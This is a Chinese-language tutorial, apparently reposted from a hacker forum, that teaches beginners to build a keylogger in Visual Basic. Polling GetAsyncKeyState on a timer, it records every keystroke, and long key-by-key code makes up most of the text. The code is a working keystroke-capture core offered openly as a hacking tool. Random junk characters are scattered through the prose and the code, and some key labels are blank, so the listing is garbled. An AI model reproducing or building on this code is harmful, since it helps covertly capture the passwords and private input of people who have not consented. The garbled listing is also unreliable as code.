手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 ; y6 ?: v, w$ N; r+ O" z+ }$ f, `/ L版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， - G0 ?7 o' S. Z/ D0 h9 p使用GetAsyncKeyState可以获得键盘的动作。 GetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer ' O- Y. ~8 x3 `, ~好了，函数就先介绍这么多，下面开始动手实战了 - \- C; w7 ]* u) @0 m8 n1 rfirst,当然是创建窗口了 2 k0 F8 i$ l" H t" {- W. S+ a( @, J 在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 ' H! s8 O/ ~& L8 W' U& I If KeyResult = -32767 Then + {2 [( q k9 t+ A9 z5 B& D6 M7 q AddKey = "[ENTER]" GoTo KeyFound : t5 F( m5 ^' p! y: ?& O End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 & U, ?9 C, f8 T, g# \& v; H If KeyResult = -32767 Then ) x. r! \% Z# w- r& c AddKey = "[CTRL]" GoTo KeyFound , {& V# U6 h3 _" U" H2 F% p! v" { End If KeyResult = GetAsyncKeyState(8) '退格键 ) V, n! }7 K7 j. p7 \ If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound End If / W( L9 I _/ d KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then / d$ ^8 t% }' k7 L AddKey = "[TAB]" 0 U' o# r/ E5 e) b6 `; A9 A! _ GoTo KeyFound - m* y) s# T5 f6 y, D End If ' Z, ~$ |# c ~; ` KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then 2 W# V1 c) E0 a% \$ T AddKey = "[ALT]" GoTo KeyFound ' `, v; c5 T1 \% j End If 9 q; q: \( |/ o- r! E5 O7 N KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then , v, J! t5 ]4 s& u6 _ AddKey = "[PAUSE]" / s4 Z4 X6 G% `& R* ? GoTo KeyFound 6 u$ X. M1 X/ e5 I4 m. M1 Z End If $ c0 x" y+ W ^; X( l( O KeyResult = GetAsyncKeyState(20) 5 J* Q3 S3 e9 _7 \: U' G If KeyResult = -32767 Then AddKey = "[CAPS]" % q) A$ b) u3 q2 j9 B- V7 b GoTo KeyFound End If * _9 U R' ~: o" S KeyResult = GetAsyncKeyState(27) 3 N, A7 \& m8 K% t! z& s! G# F If KeyResult = -32767 Then 7 j \# _0 H" t' b* l AddKey = "[ESC]" GoTo KeyFound / A. w4 V$ [7 W9 m8 \6 V End If 1 b7 w6 h1 l% L5 f6 G$ }8 g% M6 _ 1 a# v3 ^$ p k/ J# q$ G0 n KeyResult = GetAsyncKeyState(33) % I% f8 q3 C/ {/ T8 {* r2 F: x If KeyResult = -32767 Then AddKey = "[PGUP]" 2 G$ ?: Q! ~: f. Y2 T GoTo KeyFound ; w/ ~( K% \% _* A! R End If KeyResult = GetAsyncKeyState(34) # z, Z& t4 {6 F, G: r+ j0 c If KeyResult = -32767 Then AddKey = "[PGDN]" - d+ T% {+ Q$ Q' c GoTo KeyFound + w2 y% P2 N8 E0 ?! R End If KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]" 8 W# G1 G m3 s/ w GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) + [7 m1 h1 R- F( X3 d If KeyResult = -32767 Then AddKey = "[HOME]" GoTo KeyFound ' M% j, `! o1 {1 O! d End If , D) f }0 E# G+ }4 C' { 0 S# ^; x" v! ~ KeyResult = GetAsyncKeyState(44) ' f) Q' \7 O0 g2 V If KeyResult = -32767 Then AddKey = "[SYSRQ]" GoTo KeyFound 7 c; o. x. \* S& M- @" H# c1 X End If KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = "[INS]" 1 `# S; c+ o6 Q8 J+ K1 j GoTo KeyFound 4 O! _$ v( x6 j8 v9 A End If 5 R" x0 ]* Z/ ]/ s0 l. {( c KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]" - H3 Y/ F1 X. P; O GoTo KeyFound 5 a( C+ i" k) J. X9 j End If & B. F: t/ K8 k& d. ~2 U KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then 6 Z& K; M/ e, H4 P7 k: r AddKey = "[NUM]" ! H4 b/ k8 `( S& n( L' i8 l& r/ i GoTo KeyFound End If ^" V9 B$ Q# J& N KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound End If # @) r0 \0 n" N! k4 Y6 M4 h KeyResult = GetAsyncKeyState(38) ) G7 U* [% C% i6 [+ J If KeyResult = -32767 Then AddKey = "[UP]" : c6 N$ L/ I3 _8 {0 a, j# @% v GoTo KeyFound 4 ~7 y( T2 E- L6 F* b End If KeyResult = GetAsyncKeyState(39) ' }6 b* W' V S, k5 u If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound End If / I- `! f2 L$ O1 k. d4 I: a KeyResult = GetAsyncKeyState(40) 2 g0 l5 u2 t. }6 A! ^1 }- A( k If KeyResult = -32767 Then 2 A% ~: C0 p; C: R AddKey = "[DOWN]" $ B% ^. l+ {$ E8 q GoTo KeyFound End If 3 _7 `- D7 ` K. l. t ( o7 p+ G* p& b* A0 ]; | " w7 M# G# E7 {$ W. w+ }' o, ~( Q KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then 8 ^. |% U) x1 O& `) m2 C1 n2 @- C t AddKey = "[F1]" 9 H# r9 c( U& b2 N) b1 s5 v+ b GoTo KeyFound End If KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]" , r a% Z( U K( d' z7 k+ A GoTo KeyFound + j' M9 `( ]" h7 N: S! q End If KeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then * Q1 A2 l$ h, M4 e F3 E AddKey = "[F3]" , {. @. u0 z- `. f8 L5 M6 k5 C1 ? GoTo KeyFound 3 `8 b0 h6 D1 i% b4 [; ]* Z+ ` End If KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then / j, `) I" A" g* s2 _ AddKey = "[F4]" GoTo KeyFound End If : f# R' v! M4 k' l# {! |+ W1 M * r W. |# V# S3 U4 O. sKeyResult = GetAsyncKeyState(116) ; \1 w3 Q6 {* r' D8 M If KeyResult = -32767 Then , E. P; D- l3 B6 K AddKey = "[F5]" GoTo KeyFound / J8 o; J+ V7 Q5 S8 A' ~ End If ' r8 H+ X! N) [: Y4 N" a R6 }6 i 0 W# g) O( Z* W: f3 DKeyResult = GetAsyncKeyState(117) 3 e& k7 O) p, t% f, h' R If KeyResult = -32767 Then AddKey = "[F6]" GoTo KeyFound : p- _# u" j0 a: i4 I End If KeyResult = GetAsyncKeyState(118) & N+ g8 c! ]+ J If KeyResult = -32767 Then ; j" ^' a. O4 y AddKey = "[F7]" . N* q o% i! w/ u& T0 y GoTo KeyFound End If 5 r t* ~% e$ u% h3 |$ n; l" u * `4 y# Y; h0 r L5 y) q) HKeyResult = GetAsyncKeyState(119) " T) f4 C3 ^ {8 h6 P4 } If KeyResult = -32767 Then AddKey = "[F8]" i1 I' e; J/ A! c% d GoTo KeyFound End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then * v; N# g' E: B' n- ?0 Z AddKey = "[F9]" GoTo KeyFound 0 o- ]' n. t: h, t8 e( S End If ( i4 B( ]3 t, [' u/ V. | KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then 2 O% H, m* J. z& u AddKey = "[F10]" GoTo KeyFound End If $ e/ Y$ b; v6 ~, N& U& nKeyResult = GetAsyncKeyState(122) $ d' N' g1 x; G1 T+ @0 r If KeyResult = -32767 Then AddKey = "[F11]" : \, H1 o* f% F) a6 z) `; \# }! | GoTo KeyFound ! H2 @% k& T. H ~% |3 |; g7 ` End If KeyResult = GetAsyncKeyState(123) # }8 J; b) I. B6 u. \: w If KeyResult = -32767 Then & n9 u6 k4 Q- }4 z* ?) I AddKey = "[F12]" 1 V9 s' _$ C( ~1 { GoTo KeyFound - ~+ z9 `* z( m' }7 f End If + _ h8 F; @' N" u KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" 9 \4 L# u- [( `# Q# M. n3 O GoTo KeyFound End If KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then 8 V7 M/ i: f$ e! m w. t. u- I( ]% [ AddKey = "[F14]" GoTo KeyFound End If , W# _# E' u T6 ~( [* |KeyResult = GetAsyncKeyState(126) 0 f8 r2 w8 w$ {. u If KeyResult = -32767 Then 7 `- ]7 {8 {+ E) d AddKey = "[F15]" 8 y3 k+ C5 e; l! c- _ c _ GoTo KeyFound End If 5 [4 U# X4 O0 f! l8 C$ G& n& XKeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" : {1 G7 R$ {/ }6 V" M GoTo KeyFound End If 8 o2 f, Y9 F+ G' E( p' f1 Q7 f ) J: A' U% W; [; ~- LKeyResult = GetAsyncKeyState(32) ( Y4 f T e3 V8 O3 U, Q If KeyResult = -32767 Then 4 J9 N X: F0 p( z. C# | AddKey = " " $ t% a, d2 X; b" y GoTo KeyFound 4 @6 h6 Y7 N6 }7 N1 i1 D End If 6 C3 O! ^9 T i1 ]1 F) h, P: H # G2 }+ ]5 @9 _: O( t5 HKeyResult = GetAsyncKeyState(186) # J" f9 D3 g, }6 { If KeyResult = -32767 Then AddKey = ";" # I; d. e w5 c GoTo KeyFound 3 `, S0 R% |) P) f0 J3 O- |7 i/ Q End If * F+ \( l. x( Q& D" v$ O, f0 b KeyResult = GetAsyncKeyState(187) & U1 z2 r9 r+ F5 }9 I0 b/ J If KeyResult = -32767 Then AddKey = "=" ! u' {" _/ o2 a* }9 G3 O# P( N GoTo KeyFound - F J! \( a3 d1 I8 w$ X End If 8 J. [8 o3 X5 U9 H* h, m9 m2 @KeyResult = GetAsyncKeyState(188) $ P" ]* R' q. K* T. ` If KeyResult = -32767 Then AddKey = "," % c2 c1 A7 z- p GoTo KeyFound : o% h# ]; i7 H6 C- Z H# z5 S End If : d H& V T0 `+ m5 r7 u 0 y, h8 s. t) y# m/ p* _6 hKeyResult = GetAsyncKeyState(189) , Y1 G5 j# B L# R, {+ {3 _0 m6 I If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound 9 {; L, i4 [- l+ m8 Y& e' _$ H End If KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound $ u% |0 {" v' U, b7 s& a4 C! o End If KeyResult = GetAsyncKeyState(191) 4 D6 y5 Q0 h2 X6 w5 P' e/ ~+ J If KeyResult = -32767 Then AddKey = "/" '/ 4 X( ?2 U p4 `, [' R) o2 x! A GoTo KeyFound # V `+ X$ Z! w) _0 A8 P End If . p+ C$ p5 K+ H# o, | KeyResult = GetAsyncKeyState(192) ' M6 Q D0 M4 l0 ?% \ If KeyResult = -32767 Then AddKey = "`" '` $ c3 S$ R# o; M- i3 J GoTo KeyFound # e/ ~$ P. ^0 a$ F3 g4 s End If 1 O* @9 |! m$ C '----------NUM PAD 7 t V- l; j6 d' }; |KeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then AddKey = "0" ; \2 R# c& b1 W- Z5 q: Z6 t0 m8 ] GoTo KeyFound ! r, }/ \4 w- K/ L2 C6 Q# y End If . p4 ~/ e9 U# e$ I i- @+ QKeyResult = GetAsyncKeyState(97) " \. Q1 H+ @) O9 b( D, U& I4 k If KeyResult = -32767 Then AddKey = "1" 1 v/ f0 l3 V2 W: r5 R3 c6 y- B GoTo KeyFound End If + {% ]& s0 G; v8 | ( ^2 U+ x2 q0 p& VKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then / T Q! o9 a3 ] AddKey = "2" GoTo KeyFound End If $ |* p' D9 e& }0 |* L' ^) E 9 Z9 G, q) G. m0 o; rKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3" 7 i: s+ [5 d8 i% n* q( A3 x* w GoTo KeyFound 9 n+ f. w! _! r v8 a# o5 A& P End If $ `" }1 C% W8 D9 x/ @4 K; N. `+ pKeyResult = GetAsyncKeyState(100) 5 Z+ ^9 v9 K0 b3 M, n0 n If KeyResult = -32767 Then 7 E1 a2 `+ w) k R AddKey = "4" ; S) }4 E: m2 P: }2 h GoTo KeyFound ( C/ ~% k2 u4 L1 B End If . C" x, w6 I L. d KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" - A5 p5 B; r8 e- K" t/ O- N$ t; ^ GoTo KeyFound End If % e* a( }! \4 Y( S: I , T( b! u( k. w* [ KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound 4 C* d) c$ D' d6 F0 I: J/ T; L/ E End If ! b9 i! K: ]5 ~4 h$ l1 b$ w$ l) g KeyResult = GetAsyncKeyState(103) 1 T. l% N9 K' l D( P; a If KeyResult = -32767 Then 2 f G! `1 h, ?9 k4 S* M. V6 U. s AddKey = "7" GoTo KeyFound End If % G+ ^: g- s: A+ r: d/ ? $ S- |0 k7 ]8 C `0 {2 n KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8" ' w v$ T4 \0 K# `1 y5 U0 ~6 J GoTo KeyFound End If 0 x6 f) S# w+ H1 }# o @1 zKeyResult = GetAsyncKeyState(105) / X$ {- G! j$ _ If KeyResult = -32767 Then 6 a$ O0 p, J ? AddKey = "9" ! d2 ?; V% |' V GoTo KeyFound End If # @$ J& m! K% q% j# A) I o! T7 c ( l, I' k0 j8 C' h7 \6 k- \KeyResult = GetAsyncKeyState(106) 4 {1 w" H( c5 y; u If KeyResult = -32767 Then AddKey = "*" GoTo KeyFound End If # p2 L& b( O4 J D% N5 Q. uKeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then ' z' z7 y# v+ C7 m! z, Q* @/ _ AddKey = "+" 8 f1 h/ K* y% l& f* |% A GoTo KeyFound End If & L; M3 e/ k; @6 cKeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If 4 \5 ^4 p6 T* C1 Q1 E% ~2 M t KeyResult = GetAsyncKeyState(109) % e5 y! h7 z% F& ^* a1 u% ] If KeyResult = -32767 Then : Y N! u+ _; g& v* l AddKey = "-" GoTo KeyFound End If $ z6 ^3 v; o- e* I! U. vKeyResult = GetAsyncKeyState(110) ' f/ B% m; Q( m, \; L If KeyResult = -32767 Then 1 _7 J9 a" O- [( M/ [ i, A+ E: x AddKey = "." GoTo KeyFound . x+ e8 g% l o# e! E End If 1 A3 S0 H0 [" n: L0 }KeyResult = GetAsyncKeyState(2) 0 t' t% o6 i0 b6 f If KeyResult = -32767 Then * Y. b) l9 r3 i AddKey = "/" GoTo KeyFound ; _* ]8 Y) l# y End If : w+ ?: N* ?( _8 k$ j* r3 V" ^# g9 N ! @+ g" t) _( T- c& O8 r5 `KeyResult = GetAsyncKeyState(220) / Q; K( t" B/ G. w# \- T( u( j- z4 w- _ If KeyResult = -32767 Then 6 N) t' O; e' X1 l AddKey = "\" 9 E9 `# d* h/ B/ y( l+ u; y5 }4 w GoTo KeyFound End If KeyResult = GetAsyncKeyState(222) ) K) G. g/ X3 U: T) t/ u) P5 F If KeyResult = -32767 Then ) n$ L( X. S; ?) s- o AddKey = "'" ( Y0 r- Q' B2 p: [" N9 {2 s: R GoTo KeyFound End If 6 _- v! N- s4 y# [KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" + Q' A* _2 `' L* [2 v 8 l6 g5 C: m: _; `: j% ?: r GoTo KeyFound $ b1 F: p! x4 L' x& A5 z% C. i End If - F7 b* _( ]1 T% v0 C/ w KeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then 5 a, N& Q% r7 b4 l1 u6 t, C AddKey = "[" + v- i- H" F: m+ [% S3 n8 U) f GoTo KeyFound : a- u. K0 S; S. `1 @/ b End If 8 a5 J z& I: A6 t2 gKeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then ) p9 z; U" [0 J; n1 u' i) X1 l4 [2 F AddKey = "[SHIFT]" LastKey = AddKey $ o: T4 I) N$ V+ U TimeOut = 1 GoTo KeyFound End If 8 y6 m# r( V1 x : \" q, d( F" R6 n, u KeyLoop = 41 , U9 n# }% c+ X! F / X; P$ I8 [+ _) f" N( ] Do Until KeyLoop = 256 ' 显示其他键 8 q( ]5 Z; Z0 h& v: R KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 7 q; R4 u: L; |9 l8 E5 n Loop ; j. `$ C8 |- ~2 }: T LastKey = AddKey / N* l! h' s3 |& z! a4 Y Exit Sub ) ?; E3 ~; m! C* w8 D) V, r: UKeyFound: '显示键的信息 ' a2 G6 ?) y: |" [; lText1 = Text1 & AddKey End Sub * c) p1 Z6 b& P上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 1 M% H, T H8 S* ~$ yhttp://www.cstudy.cn/repository/ascii/default.htm 4 W' b: W: c. P/ k0 Q, v下面是其他的事件 Private Sub Timer2_Timer() TimeOut = 0 End Sub ! b1 H$ U; f0 p" P( P; `. a目的是随时刷新清空